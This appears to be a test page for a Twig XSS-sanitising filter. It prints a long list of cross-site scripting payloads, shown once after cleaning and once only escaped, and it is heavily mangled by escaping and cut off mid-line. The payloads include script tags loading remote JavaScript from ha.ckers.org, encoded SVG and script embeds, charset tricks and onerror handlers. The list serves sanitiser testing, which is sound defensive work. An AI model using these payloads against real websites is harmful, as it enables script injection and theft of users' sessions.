\\>\\r\\nexp/*\\r\\n<STYLE TYPE=\\\\\\\"text/javascript\\\\\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\\\\\"(\\\'XSS\\\')\\\\\\\");}</STYLE>\\r\\n<STYLE type=\\\\\\\"text/css\\\\\\\">BODY{background:url(\\\\\\\"(\\\'XSS\\\')\\\\\\\")}</STYLE>\\r\\n<!--[if gte IE 4]>\\r\\n\\r\\n</OBJECT>\\r\\n<EMBED SRC=\\\\\\\"http://ha.ckers.org/xss.swf\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\n<EMBED SRC=\\\\\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\\\\\" type=\\\\\\\"image/svg+xml\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\na=\\\\\\\"get\\\\\\\";\\r\\nb=\\\\\\\"URL(\\\\\\\\\\\"\\\\\\\";\\r\\nc=\\\\\\\"\\\\\\\";\\r\\nd=\\\\\\\"alert(\\\'XSS\\\');\\\\\\\\\\\")\\\\\\\";\\r\\neval(a+b+c+d);\\r\\n<HTML xmlns:xss><?import namespace=\\\\\\\"xss\\\\\\\" implementation=\\\\\\\"http://ha.ckers.org/xss.htc\\\\\\\">XSS </HTML>\\r\\n<XML ID=I><![CDATA[![]()
<![CDATA[cript:alert(\\\'XSS\\\');\\\\\\\">]]>\\r\\n ![]()
cript:alert(\\\'XSS\\\')\\\\\\\"></XML>\\r\\n\\r\\n<XML SRC=\\\\\\\"xsstest.xml\\\\\\\" ID=I></XML>\\r\\n\\r\\n<HTML><BODY>\\r\\n<?xml:namespace prefix=\\\\\\\"t\\\\\\\" ns=\\\\\\\"urn:schemas-microsoft-com:time\\\\\\\">\\r\\n<?import namespace=\\\\\\\"t\\\\\\\" implementation=\\\\\\\"#default#time2\\\\\\\">\\r\\n\\r\\n</BODY></HTML>\\r\\n\\r\\n<!--#exec cmd=\\\\\\\"/bin/echo \\\'\\\'\\\\\\\"-->\\r\\n<? echo(\\\'alert(\\\\\\\"XSS\\\\\\\")\\\'); ?>\\r\\n![]()
\\>\\>\\>\\>\\>\\r\\n\\\'>\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\nPT SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n\\\\x3c\\r\\n\\\\x3C\\r\\n\\\<\\r\\n\\\<\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html>\\r\\n<IMG >\\>\\r\\n\\r\\n<IMG >\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG >\\\\\\\";\\\' > out\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG \\\\\\\"\\\\\\\"\\\\\\\">\\\\\\\">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n\\r\\n\\\'\\\';!--\\\\\\\"<XSS>=&{()}\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\\\\\">\\\'>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=javascrscriptipt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG \\\"\\\"\\\">alert(\\\"XSS\\\")\\\">\\r\\n<IMG SRC=\\\" (\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<alert(\\\"XSS\\\");//<\\r\\na=/XSS/alert(a.source)\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>alert(\\\"XSS\\\");\\r\\nalert("XSS")\\\"></BODY></HTML>\\r\\n(\\\"<SCRI\\\");PT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"(123)\\\">TESTHTML5FORMACTION\\r\\n<form><button formaction=\\\"(123)\\\">crosssitespt\\r\\n<frameset =alert(123)>\\r\\n<!--<img src=\\\"--><img src=x =alert(123)//\\\">\\r\\n<style><img src=\\\"</style><img src=x =alert(123)//\\\">\\r\\n<object data=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"(1)\\\">\\r\\n<? foo=\\\">alert(1)\\\">\\r\\n<! foo=\\\">alert(1)\\\">\\r\\n</ foo=\\\">alert(1)\\\">\\r\\n({0:#0=alert/#0#/#0#(123)})\\r\\nReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){alert(123)}),x\\r\\nObject.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'alert(1)\\\')()\\r\\n<script src=\\\"#\\\">{alert(1)};1\\r\\ncrypto.generateCRMFRequest(\\\'CN=0\\\',0,0,null,\\\'alert(1)\\\',384,null,\\\'rsa-dual-use\\\')\\r\\n<svg xmlns=\\\"#\\\">alert(1)</svg>\\r\\n<svg =\\\"(123)\\\" xmlns=\\\"#\\\"></svg>\\r\\n<iframe xmlns=\\\"#\\\" src=\\\"(1)\\\"></iframe>\\r\\n\\r\\n\\r\\n"><"\\r\\n"><"\\r\\n\\r\\n“><s”+”cript>alert()\\r\\n“>alert()\\r\\n“><alert();//<\\r\\nfooalert()\\r\\nalert()\\r\\n"/><BODY src=http://my.box.com/xss.js>")’>\\r\\n‘; alert(); var foo=’\\r\\nfoo\\\\’; alert();//’;\\r\\n<script >alert()\\r\\n<img src=asdf =alert()>\\r\\n<BODY =alert(’XSS’)>\\r\\nalert(1)\\r\\n\\\">alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))\\r\\n<video src=1 =alert(1)>\\r\\n<audio src=1 =alert(1)>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n0\\\\\\\"autofocus/=alert(1)--><video/poster/=prompt(2)>\\\"-confirm(3)-\\\"\\r\\n<script/src=data:,alert()>\\r\\n<marquee/=alert()>\\r\\n<video/poster/=alert()>\\r\\n<isindex/autofocus/=alert()>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\"XSS\\\")>\\r\\n<IMG SRC=`(\\\"RSnake says, \\\'XSS\\\'\\\")`>\\r\\n<a =\\\"alert()\\\">xxs link</a>\\r\\n<a =alert()>xxs link</a>\\r\\n<IMG \\\"\\\"\\\">alert(\\\"XSS\\\")\\\">\\r\\n<IMG SRC=(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=# =\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC= =\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG =\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC=/ =\\\"alert(String.fromCharCode(88,83,83))\\\"></img>\\r\\n<IMG SRC=(\\r\\n'XSS')>\\r\\n<IMG SRC=\\r\\n#0000108ert('XSS')>\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\" (\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<alert(\\\"XSS\\\");//<\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >\\r\\n<SCRIPT SRC=//ha.ckers.org/.j>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\')\\\"\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\nalert(\\\'XSS\\\');\\r\\n</TITLE>alert(\\\"XSS\\\");\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BODY BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG DYNSRC=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"(\\\'XSS\\\')\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG SRC=\\\'(\\\"XSS\\\")\\\'>\\r\\n<IMG SRC=\\\"\\\">\\r\\n<BODY =alert(\\\'XSS\\\')>\\r\\n<BGSOUND SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"(\\\'XSS\\\')\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS
by z | at 2021-08-19 09:42:28
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<style></style\\\\x3E<img /></style>\\r\\n<style></style\\\\x0D<img /></style>\\r\\n<style></style\\\\x09<img /></style>\\r\\n<style></style\\\\x20<img /></style>\\r\\n<style></style\\\\x0A<img /></style>\\r\\n\\\"\\\'`>ABCDEF \\r\\n\\\"\\\'`>ABCDEF \\r\\n\\r\\n\\r\\n\\r\\n\\\'`\\\"><\\\\x3Cscript>(1)\\r\\n\\\'`\\\"><\\\\x00script>(1)\\r\\n\\\"\\\'`><\\\\x3Cimg src=xxx:x >\\r\\n\\\"\\\'`><\\\\x00img src=xxx:x >\\r\\n\\r\\n\\r\\n\\r\\n\\r\\njavascript:alert(1);\\r\\njavascript:alert(1);\\r\\njavascript:alert(1);\\r\\njavascript:alert(1);\\r\\njavascript:alert(1);\\r\\njavascript:alert(1);\\r\\njavascript:alert(1);\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\nABC<div >DEF\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n<a >test</a>\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"`\\\'>\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\n\\\"/><img/ />\\r\\njavascript:alert(1)\\r\\njavascript:alert(1)\\r\\njavascript:alert(1)\\r\\njavascript:alert(1)\\r\\njavascript:alert(1)\\r\\njavascript:alert(1)\\r\\njavascript:alert(1)\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n`\\\"\\\'><img >\\r\\n\\r\\n<img >\\r\\n<input autofocus>\\r\\n<input autofocus><input autofocus>\\r\\n<video ><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form id=test ><input></form><button >X\\r\\n<video><>\\r\\n<video ><source>\\r\\n<form><button >X\\r\\n<body ><input autofocus>\\r\\n<math href=\\\"(1)\\\">CLICKME</math> <math> <maction actiontype=\\\"statusline#http://google.com\\\" >CLICKME</maction> </math>\\r\\n<frameset >\\r\\n<table background=\\\"(1)\\\">\\r\\n<!--<img ><img >\\r\\n<comment><img ><img >\\r\\n<![><img ><img >\\r\\n<style><img ><img >\\r\\n<li > <div >\\r\\n<embed src=\\\%(base64)s\\\">\\r\\n<b 0\\r\\n<div id=\\\"div1\\\"><input value=\\\"``></div> <div id=\\\"div2\\\"></div>\\r\\n<x \\\'=\\\"foo\\\"><x foo=\\\'><img >\\>\\r\\n<img >\\>\\r\\n\\r\\n<div >x\\r\\n<? foo=\\\">\\\">\\r\\n<! foo=\\\">\\\">\\r\\n</ foo=\\\">\\\">\\r\\n<? foo=\\\"><x foo=\\\'?>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo>\\\">\\r\\n<% foo><x foo=\\\"%>\\\">\\r\\n<div id=d><x xmlns=\\\"><iframe ></div> \\r\\n<img \\\\>\\r\\n<img \\\\>\\r\\n<img \\\\>\\r\\n<img \\\\>\\r\\n<img\\\\>\\r\\n<img\\\\>\\r\\n<img\\\\>\\r\\n<img\\\\>\\r\\n<img\\\\>\\r\\n<img\\\\>\\r\\n<img \\\\>\\r\\n<img \\\\>\\r\\n<img \\\\>\\r\\n<img \\\\>\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img[>\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<img >\\r\\n<a >XXX</a>\\r\\n<img >(1)\\\"` `>\\r\\n<img >\\></title><title title=>\\r\\n<a ></a><img ><img ></a>\\\">\\r\\n<!--[if]>\\r\\n<!--[if<img > -->\\></object> <object classid=\\\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\\\" ><param name=postdomevents /></object>\\r\\n<a >X\\r\\n<style>p[foo=bar{}*{-o-link:\\\'(1)\\\'}{}*{-o-link-source:current}]{color:red};</style>\\r\\n<link rel=stylesheet href=data:,*{x:(1))}\\r\\n<style>@import \\\"data:,*{x:(1))}\\\";</style>\\r\\n<a ><a >XXX</a></a><a >XXX</a>\\r\\n<style>*[{}@import\\\'%(css)s?]</style>X\\r\\n<div
;color:red;\\\';\\\">XXX\\r\\n<div >XXX\\r\\n<// >\\r\\n<style>*{x:ｅｘｐｒｅｓｓｉｏｎ((1))}</style>\\r\\n<div ></div>\\r\\n<div >X\\r\\n<div id=d><div color\\\\3Ared\\\\3B\\\'\\\">X</div></div> \\r\\n<div >X\\r\\n<div >X\\r\\n<div id=\\\"x\\\">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>\\r\\n<x >XXX</x>\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\\r\\n<meta charset=\\\"mac-farsi\\\">\\r\\n1<set/xmlns=`urn:schemas-microsoft-com:time` attributename=`innerhtml` to=`<img/src="x">\\r\\n1<animate/xmlns=urn:schemas-microsoft-com:time attributename=innerhtml values=<img/src=".">\\r\\n<vmlframe xmlns=urn:schemas-microsoft-com:vml src=%(vml)s#xss></vmlframe>\\r\\n1<a ><line xmlns=urn:schemas-microsoft-com:vml href=(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>\\r\\n<a >XXX</a>\\r\\n<x >\\r\\n<xml id=\\\"xss\\\" src=\\\"%(htc)s\\\"></xml> <label dataformatas=\\\"html\\\" datasrc=\\\"#xss\\\" datafld=\\\"payload\\\"></label>\\r\\n<event-source src=\\\"%(event)s\\\" >\\r\\n<a ><event-source src=\\\"data:application/x-dom-event-stream,Event:click
data:XXX
\\\">\\r\\n<div id=\\\"x\\\">x</div> <xml:namespace prefix=\\\"t\\\"> <import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"> <t:set attributeName=\\\"innerHTML\\\" targetElement=\\\"x\\\" to=\\\"<img src=x:x =(1)>\\\">\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n\\r\\n<FRAMESET><FRAME SRC=\\\"(1);\\\"></FRAMESET>\\r\\n<BODY >\\r\\n<BODY >\\r\\n<IMG >\\>\\r\\n\\r\\n<\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\>\\r\\n<BR SIZE=\\\"&{(1)}\\\">\\r\\n<LAYER SRC=\\\"%(scriptlet)s\\\"></LAYER>\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"(1);\\\">\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<%(css)s>; REL=stylesheet\\\">\\r\\n<XSS >\\r\\n<STYLE>li {list-style-image: url(\\\"(1)\\\");}</STYLE><UL><LI>XSS\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=(1);\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=(1);\\\">\\r\\n<IFRAME SRC=\\\"(1);\\\"></IFRAME>\\r\\n<TABLE BACKGROUND=\\\"(1)\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"(1)\\\">\\r\\n<DIV url((1))\\\">\\r\\n<DIV >\\r\\n<IMG >\\>\\>(1);</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"(1)\\\");}</STYLE><A ></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(1)\\\")}</STYLE>\\r\\n<!--[if gte IE 4]><![endif]-->\\r\\n<BASE HREF=\\\"(1);//\\\">\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"%(scriptlet)s\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=(1)></OBJECT>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"%(htc)s\\\"><xss:xss>XSS</xss:xss></HTML>\\\"\\\"\\\",\\\"XML namespace.\\\"),(\\\"\\\"\\\"<XML ID=\\\"xss\\\"><I><B><IMG SRC=\\\"javas<!-- -->cript:(1)\\\"></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></SPAN>\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>(1)\\\"></BODY></HTML>\\r\\n\\r\\n<HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>\\r\\n<form id=\\\"test\\\" /><button >X\\r\\n<body ><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\\r\\n<P end=\\\"0\\\" >\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<STYLE>a{background:url(\\\'s1\\\' \\\'s2)}@import (1);\\\');}</STYLE>\\r\\n<meta charset= \\\"x-imap4-modified-utf7\\\"&&>&&\\r\\n\\r\\n<style ></style>\\r\\n<?xml version=\\\"1.0\\\"?><html:html xmlns:html=\\\'http://www.w3.org/1999/xhtml\\\'><html:script>(1);</html:script></html:html>\\r\\n<embed code=%(scriptlet)s></embed>\\r\\n<embed code=(1);></embed>\\r\\n<embed src=%(jscript)s></embed>\\r\\n<frameset ></frameset>\\r\\n<object >\\r\\n<embed type=\\\"image\\\" src=%(scriptlet)s></embed>\\r\\n<XML ID=I><X><C><![CDATA[<IMG >]]</C><X></xml>\\r\\n<IMG >\\r\\n<a >test1</a>\\r\\n<a >test1</a>\\r\\n<embed width=500 height=500 code=\\\"data:text/html,\\\"></embed>\\r\\n<iframe srcdoc=\\\"<iframe/srcdoc=<img/src=''>>\\\">\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";\\r\\nalert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--\\r\\n>\\\">\\\'>
result with twig: {{ xss.xss | escape }}:
<style></style\\\\x3E<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x0D<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x09<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x20<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x0A<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n\\\"\\\'`>ABC<div style=\\\"font-family:\\\'foo\\\'\\\\x7Dx:expression(javascript:alert(1);/*\\\';\\\">DEF \\r\\n\\\"\\\'`>ABC<div style=\\\"font-family:\\\'foo\\\'\\\\x3Bx:expression(javascript:alert(1);/*\\\';\\\">DEF \\r\\n<script>if(\\\"x\\\\\\\\xE1\\\\x96\\\\x89\\\".length==2) { javascript:alert(1);}</script>\\r\\n<script>if(\\\"x\\\\\\\\xE0\\\\xB9\\\\x92\\\".length==2) { javascript:alert(1);}</script>\\r\\n<script>if(\\\"x\\\\\\\\xEE\\\\xA9\\\\x93\\\".length==2) { javascript:alert(1);}</script>\\r\\n\\\'`\\\"><\\\\x3Cscript>javascript:alert(1)</script>\\r\\n\\\'`\\\"><\\\\x00script>javascript:alert(1)</script>\\r\\n\\\"\\\'`><\\\\x3Cimg src=xxx:x onerror=javascript:alert(1)>\\r\\n\\\"\\\'`><\\\\x00img src=xxx:x onerror=javascript:alert(1)>\\r\\n<script src=\\\"data:text/plain\\\\x2Cjavascript:alert(1)\\\"></script>\\r\\n<script src=\\\"data:\\\\xD4\\\\x8F,javascript:alert(1)\\\"></script>\\r\\n<script src=\\\"data:\\\\xE0\\\\xA4\\\\x98,javascript:alert(1)\\\"></script>\\r\\n<script 